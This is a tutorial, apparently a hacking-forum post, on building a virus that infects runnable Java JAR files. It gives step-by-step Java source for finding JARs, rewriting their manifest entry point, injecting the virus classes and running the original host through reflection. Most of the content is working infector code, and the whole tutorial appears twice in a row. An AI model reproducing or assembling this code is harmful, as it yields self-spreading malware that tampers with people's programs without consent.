Creating a jar virus
This paper explains how to create a virus,
that infects runnable Java Archive Files
(JAR) while preserving their functionality. I
invented this technique, but I think it is
something you can easily come up with
once you know how a JAR works.
The emphasis lies on the infection
technique, not on doing harm or hiding the
virus from detection, which would be a
whole topic by itself.
The Java Archive File
At first you need to know how your host
program actually works to preserve the
functionality of the host. A JAR file is a ZIP
file with the file ending .jar and a file
named MANIFEST.MF in it. The JAR usually
contains Java Bytecode.
A runnable JAR has an entry in the
MANIFEST.MF that tells the Java Runtime
which class contains the main method, so
that it knows where to start the execution.
A typical manifest resides in the folder
META-INF and looks like this:
The entry Main-Class tells here that the
main method can be found in gui/
AppStarter.class within the JAR.
Knowing that the JAR file is just a ZIP, you
can also handle it like this and extract it
with i.e. 7zip.
The JAR infection technique
To infect a JAR, the virus has to update the
JAR with its own .class files and change the
manifest Main-Class entry so that the virus
is executed.
But it also has to preserve the old Main-
Class entry in order to execute the host,
when the host is run.
So these are the steps in an overview:
1. Look for JAR files.
2. For every JAR do: If JAR not infected, go
on with next steps.
3. Change the manifest Main-Class entry to
the virus main class.
4. Copy the virus .class files into the JAR.
5. Save the old manifest entry somewhere
in the JAR.
6. Execute the own host by looking at the
preserved manifest entry.
Step 1: Looking for JAR files
Basically you can try to either search for
files with a ".jar" ending or you make it
more robust and check if it actually is a ZIP
with a manifest in it.
For the latter you can use the following
method to determine if the file is a ZIP:
First you make sure the file is no directory,
afterwards you check if the first 8 bytes of
the file are the MACIG_NUMBER. That
number is the file signature for ZIP.
Here you find a huge list of file signatures:
file_sigs.html
Step 2: Determine infection
You don't want to infect files twice, so you
need a method to determine whether a JAR
already has been infected. I figured, I
would just compare the Main-Class entry in
the manifest. If it equals the virus entry, it
is already infected.
hostEntry is the entry point of the file to be
infected.
JarVir.class.getName() returns the entry
point of the virus. If they are equal, the JAR
is already infected.
The Jarchiver is a helper class for the virus
that provides functions for updating JAR
and reading the manifest.
Here is how the Jarchiver reads the entry
point of the manifest:
Code: Java
. private final String jarFile;
. private Manifest manifest ;
.
. public Jarchiver( String jarFile)
throws IOException {
. this. jarFile = jarFile;
. try (JarInputStream is =
new JarInputStream(
. new
FileInputStream ( jarFile))) {
. manifest =
is. getManifest () ;
. }
. }
.
. public String readEntryPoint() {
. Attributes attr =
manifest. getMainAttributes () ;
. return attr. getValue
( Attributes. Name. MAIN_CLASS );
. }
Step 3: Updating the manifest
We use the Jarchiver again to update the
manifest Main-Class entry with the main
class of the virus:
Code: Java
. jar. changeEntryPoint
( JarVir.class. getName()) ;
It looks like this in the Jarchiver:
Code: Java
. public void changeEntryPoint
( String entryPoint ) {
. Attributes attr =
manifest. getMainAttributes () ;
. attr. put
( Attributes. Name. MAIN_CLASS ,
entryPoint ) ;
. printAttributes
( manifest ) ;
. }
This doesn't change the manifest on disk
already, but in memory.
When updating the JAR in the next step the
new manifest is written into it.
Step 4: Updating the JAR
This turned out to be not that straight
forward, because in order to update a JAR
you have to create an entirely new JAR and
replace the old one with the new file.
This is what the virus does:
It gets the location of the own .class files
and the names of them that shall be copied
into the host and it provides the old entry
point of the host (meaning the host class
that contains the main method)
Code: Java
. Set < String > inFiles =
getOwnEntries () ;
. jar. updateJar( inFiles,
getRunningJarLocation() ,
newHostEntry );
.
The own entries are the two virus .class
files to be written:
Code: Java
. private Set < String > getOwnEntries
() {
. Set < String> inFiles =
new HashSet<>() ;
. inFiles. add ("jarvir/
Jarchiver.class" ) ;
. inFiles. add ("jarvir/
JarVir.class" ) ;
. return inFiles;
. }
And you get the location of the currently
running JAR like this:
Code: Java
. private String
getRunningJarLocation() {
. String path =
JarVir.class. getProtectionDomain
() . getCodeSource()
. . getLocation
() . getPath() ;
. try {
. return
URLDecoder . decode ( path,
"UTF-8" );
. } catch
( UnsupportedEncodingException e )
{
. e. printStackTrace() ;
. }
. return null ;
. }
You need this location and the entries to
copy the virus into the new host file.
Why don't just copy the whole JAR?
Because the virus will operate from host
JAR files which contain more than just the
virus itself. So you only copy the virus files
into new hosts and not more.
The Jarchiver updates the JAR like this:
Code: Java
. public void updateJar( Set < String>
inFiles, String ownJar, String
hostName )
. throws
FileNotFoundException,
IOException {
. String jarOut = jarFile
+ "out.jar" ;
. try (JarInputStream jin
= new JarInputStream( new
FileInputStream (
. jarFile)) ;
. JarInputStream
ownIn = new JarInputStream( new
FileInputStream (
.
ownJar )) ;
. JarOutputStream
jout = new JarOutputStream (
. new
FileOutputStream (jarOut ) ,
manifest )) {
.
. copyHost ( jin, jout );
. writeInFiles
( inFiles, ownIn, jout) ;
. writeHostName (jout,
hostName ) ;
. }
. replace( jarFile,
jarOut ) ;
. }
Those are quite a few steps, so let's make
this a bit more clear:
The Jarchiver creates two InputStreams, one
for the JAR that has to be infected (jin) and
one for the JAR the virus is currently
running in (ownIn).
It creates an OutputStream (jout) to write
an updated copy of the JAR, that contains
virus, host and a note with the main class
of the host.
Afterwards it replaces the old JAR file with
the updated one.
Here are the methods copyHost and
writeInFiles in detail:
Code: Java
. private void writeInFiles
( Set < String > inFiles,
JarInputStream ownIn,
. JarOutputStream
jout ) throws IOException {
. JarEntry entry ;
. while (( entry =
ownIn. getNextJarEntry ()) !=
null ) {
. if ( inFiles. contains
( entry. getName())) {
. writeJarEntry
( jout, ownIn, entry ) ;
.
System . out . println("write own
entry " + entry ) ;
. }
. }
. }
.
. private void copyHost
( JarInputStream jin,
JarOutputStream jout)
. throws IOException {
. JarEntry entry ;
. while (( entry =
jin. getNextJarEntry ()) != null)
{
. writeJarEntry (jout,
jin, entry ) ;
. System .out . println
( "write entry " + entry ) ;
. }
. }
.
. private void writeJarEntry
( JarOutputStream out,
JarInputStream in,
. JarEntry entry )
throws IOException {
. out. putNextEntry ( entry ) ;
. byte[] buf = new byte
[ 1024 ];
. int bytesRead;
. while (( bytesRead =
in. read ( buf )) != - 1 ) {
. out. write ( buf, 0 ,
bytesRead );
. }
. out. closeEntry () ;
. }
Both use writeJarEntry, which writes exactly
one entry to the specified output stream.
Step 5: Save the old entry point
of the host
To preserve the entry point of the host the
method writeHostName writes a files with
the hostname string into the JAR:
Code: Java
. private void writeHostName
( JarOutputStream out, String
hostName )
. throws IOException {
. out. putNextEntry ( new
JarEntry ( "jarvir/host" )) ;
. out. write
( hostName. getBytes ()) ;
. out. closeEntry () ;
. }
This will be read by the virus upon
execution of the new host file.
Step 6: Execute the own host
The virus that has just infected other host
files, still has to execute the host of the JAR
it is currently running in.
This step was for me the most difficult,
because I never had to use reflection
before.
The problem is that we only have a name of
class. We do not have direct access to the
class or its main method. So we need to
use reflection to get the class and execute
the main method.
This is done here:
Code: Java
. private void invokeHostMain
( String [] args ) {
. try {
. String hostName =
getHostName () ;
. if ( hostName !=
null ) {
. Class <?> host =
Class. forName( hostName ) ;
. Class []
argTypes = new Class [] { String
[] .class } ;
. Method main =
host. getDeclaredMethod ("main" ,
argTypes ) ;
. main. invoke
( null , ( Object ) args );
. }
. } catch ( Exception e ) {
. e. printStackTrace() ;
. }
. }
In order to get to know more about
reflection in Java, read this:
reflect/index.html
getHostName reads the entry point of the
host from the file that we saved in there.
It has to read that text file, while it is in the
JAR, which you can do like this:
Code: Java
. private String getHostName()
throws IOException {
. String name = null;
. InputStream in =
getClass () . getResourceAsStream
( "host" ) ;
. if ( in != null) {
. try ( BufferedReader
reader = new BufferedReader(
. new
InputStreamReader ( in))) {
. name =
reader. readLine () ;
. }
. } else {
. System .err . println
( "host not found" ) ;
. }
. return name ;
. }
And that's it. Because this virus infects JAR
files, it is able to work on all platforms that
have a JVM.
If you have any questions, ask below.
You find the whole code of the virus and
an example output here: http://
evilzone.org/java/%28java%29-jar-virus-
example/
This paper explains how to create a virus,
that infects runnable Java Archive Files
(JAR) while preserving their functionality. I
invented this technique, but I think it is
something you can easily come up with
once you know how a JAR works.
The emphasis lies on the infection
technique, not on doing harm or hiding the
virus from detection, which would be a
whole topic by itself.
The Java Archive File
At first you need to know how your host
program actually works to preserve the
functionality of the host. A JAR file is a ZIP
file with the file ending .jar and a file
named MANIFEST.MF in it. The JAR usually
contains Java Bytecode.
A runnable JAR has an entry in the
MANIFEST.MF that tells the Java Runtime
which class contains the main method, so
that it knows where to start the execution.
A typical manifest resides in the folder
META-INF and looks like this:
The entry Main-Class tells here that the
main method can be found in gui/
AppStarter.class within the JAR.
Knowing that the JAR file is just a ZIP, you
can also handle it like this and extract it
with i.e. 7zip.
The JAR infection technique
To infect a JAR, the virus has to update the
JAR with its own .class files and change the
manifest Main-Class entry so that the virus
is executed.
But it also has to preserve the old Main-
Class entry in order to execute the host,
when the host is run.
So these are the steps in an overview:
1. Look for JAR files.
2. For every JAR do: If JAR not infected, go
on with next steps.
3. Change the manifest Main-Class entry to
the virus main class.
4. Copy the virus .class files into the JAR.
5. Save the old manifest entry somewhere
in the JAR.
6. Execute the own host by looking at the
preserved manifest entry.
Step 1: Looking for JAR files
Basically you can try to either search for
files with a ".jar" ending or you make it
more robust and check if it actually is a ZIP
with a manifest in it.
For the latter you can use the following
method to determine if the file is a ZIP:
First you make sure the file is no directory,
afterwards you check if the first 8 bytes of
the file are the MACIG_NUMBER. That
number is the file signature for ZIP.
Here you find a huge list of file signatures:
file_sigs.html
Step 2: Determine infection
You don't want to infect files twice, so you
need a method to determine whether a JAR
already has been infected. I figured, I
would just compare the Main-Class entry in
the manifest. If it equals the virus entry, it
is already infected.
hostEntry is the entry point of the file to be
infected.
JarVir.class.getName() returns the entry
point of the virus. If they are equal, the JAR
is already infected.
The Jarchiver is a helper class for the virus
that provides functions for updating JAR
and reading the manifest.
Here is how the Jarchiver reads the entry
point of the manifest:
Code: Java
. private final String jarFile;
. private Manifest manifest ;
.
. public Jarchiver( String jarFile)
throws IOException {
. this. jarFile = jarFile;
. try (JarInputStream is =
new JarInputStream(
. new
FileInputStream ( jarFile))) {
. manifest =
is. getManifest () ;
. }
. }
.
. public String readEntryPoint() {
. Attributes attr =
manifest. getMainAttributes () ;
. return attr. getValue
( Attributes. Name. MAIN_CLASS );
. }
Step 3: Updating the manifest
We use the Jarchiver again to update the
manifest Main-Class entry with the main
class of the virus:
Code: Java
. jar. changeEntryPoint
( JarVir.class. getName()) ;
It looks like this in the Jarchiver:
Code: Java
. public void changeEntryPoint
( String entryPoint ) {
. Attributes attr =
manifest. getMainAttributes () ;
. attr. put
( Attributes. Name. MAIN_CLASS ,
entryPoint ) ;
. printAttributes
( manifest ) ;
. }
This doesn't change the manifest on disk
already, but in memory.
When updating the JAR in the next step the
new manifest is written into it.
Step 4: Updating the JAR
This turned out to be not that straight
forward, because in order to update a JAR
you have to create an entirely new JAR and
replace the old one with the new file.
This is what the virus does:
It gets the location of the own .class files
and the names of them that shall be copied
into the host and it provides the old entry
point of the host (meaning the host class
that contains the main method)
Code: Java
. Set < String > inFiles =
getOwnEntries () ;
. jar. updateJar( inFiles,
getRunningJarLocation() ,
newHostEntry );
.
The own entries are the two virus .class
files to be written:
Code: Java
. private Set < String > getOwnEntries
() {
. Set < String> inFiles =
new HashSet<>() ;
. inFiles. add ("jarvir/
Jarchiver.class" ) ;
. inFiles. add ("jarvir/
JarVir.class" ) ;
. return inFiles;
. }
And you get the location of the currently
running JAR like this:
Code: Java
. private String
getRunningJarLocation() {
. String path =
JarVir.class. getProtectionDomain
() . getCodeSource()
. . getLocation
() . getPath() ;
. try {
. return
URLDecoder . decode ( path,
"UTF-8" );
. } catch
( UnsupportedEncodingException e )
{
. e. printStackTrace() ;
. }
. return null ;
. }
You need this location and the entries to
copy the virus into the new host file.
Why don't just copy the whole JAR?
Because the virus will operate from host
JAR files which contain more than just the
virus itself. So you only copy the virus files
into new hosts and not more.
The Jarchiver updates the JAR like this:
Code: Java
. public void updateJar( Set < String>
inFiles, String ownJar, String
hostName )
. throws
FileNotFoundException,
IOException {
. String jarOut = jarFile
+ "out.jar" ;
. try (JarInputStream jin
= new JarInputStream( new
FileInputStream (
. jarFile)) ;
. JarInputStream
ownIn = new JarInputStream( new
FileInputStream (
.
ownJar )) ;
. JarOutputStream
jout = new JarOutputStream (
. new
FileOutputStream (jarOut ) ,
manifest )) {
.
. copyHost ( jin, jout );
. writeInFiles
( inFiles, ownIn, jout) ;
. writeHostName (jout,
hostName ) ;
. }
. replace( jarFile,
jarOut ) ;
. }
Those are quite a few steps, so let's make
this a bit more clear:
The Jarchiver creates two InputStreams, one
for the JAR that has to be infected (jin) and
one for the JAR the virus is currently
running in (ownIn).
It creates an OutputStream (jout) to write
an updated copy of the JAR, that contains
virus, host and a note with the main class
of the host.
Afterwards it replaces the old JAR file with
the updated one.
Here are the methods copyHost and
writeInFiles in detail:
Code: Java
. private void writeInFiles
( Set < String > inFiles,
JarInputStream ownIn,
. JarOutputStream
jout ) throws IOException {
. JarEntry entry ;
. while (( entry =
ownIn. getNextJarEntry ()) !=
null ) {
. if ( inFiles. contains
( entry. getName())) {
. writeJarEntry
( jout, ownIn, entry ) ;
.
System . out . println("write own
entry " + entry ) ;
. }
. }
. }
.
. private void copyHost
( JarInputStream jin,
JarOutputStream jout)
. throws IOException {
. JarEntry entry ;
. while (( entry =
jin. getNextJarEntry ()) != null)
{
. writeJarEntry (jout,
jin, entry ) ;
. System .out . println
( "write entry " + entry ) ;
. }
. }
.
. private void writeJarEntry
( JarOutputStream out,
JarInputStream in,
. JarEntry entry )
throws IOException {
. out. putNextEntry ( entry ) ;
. byte[] buf = new byte
[ 1024 ];
. int bytesRead;
. while (( bytesRead =
in. read ( buf )) != - 1 ) {
. out. write ( buf, 0 ,
bytesRead );
. }
. out. closeEntry () ;
. }
Both use writeJarEntry, which writes exactly
one entry to the specified output stream.
Step 5: Save the old entry point
of the host
To preserve the entry point of the host the
method writeHostName writes a files with
the hostname string into the JAR:
Code: Java
. private void writeHostName
( JarOutputStream out, String
hostName )
. throws IOException {
. out. putNextEntry ( new
JarEntry ( "jarvir/host" )) ;
. out. write
( hostName. getBytes ()) ;
. out. closeEntry () ;
. }
This will be read by the virus upon
execution of the new host file.
Step 6: Execute the own host
The virus that has just infected other host
files, still has to execute the host of the JAR
it is currently running in.
This step was for me the most difficult,
because I never had to use reflection
before.
The problem is that we only have a name of
class. We do not have direct access to the
class or its main method. So we need to
use reflection to get the class and execute
the main method.
This is done here:
Code: Java
. private void invokeHostMain
( String [] args ) {
. try {
. String hostName =
getHostName () ;
. if ( hostName !=
null ) {
. Class <?> host =
Class. forName( hostName ) ;
. Class []
argTypes = new Class [] { String
[] .class } ;
. Method main =
host. getDeclaredMethod ("main" ,
argTypes ) ;
. main. invoke
( null , ( Object ) args );
. }
. } catch ( Exception e ) {
. e. printStackTrace() ;
. }
. }
In order to get to know more about
reflection in Java, read this:
reflect/index.html
getHostName reads the entry point of the
host from the file that we saved in there.
It has to read that text file, while it is in the
JAR, which you can do like this:
Code: Java
. private String getHostName()
throws IOException {
. String name = null;
. InputStream in =
getClass () . getResourceAsStream
( "host" ) ;
. if ( in != null) {
. try ( BufferedReader
reader = new BufferedReader(
. new
InputStreamReader ( in))) {
. name =
reader. readLine () ;
. }
. } else {
. System .err . println
( "host not found" ) ;
. }
. return name ;
. }
And that's it. Because this virus infects JAR
files, it is able to work on all platforms that
have a JVM.
If you have any questions, ask below.
You find the whole code of the virus and
an example output here: http://
evilzone.org/java/%28java%29-jar-virus-
example/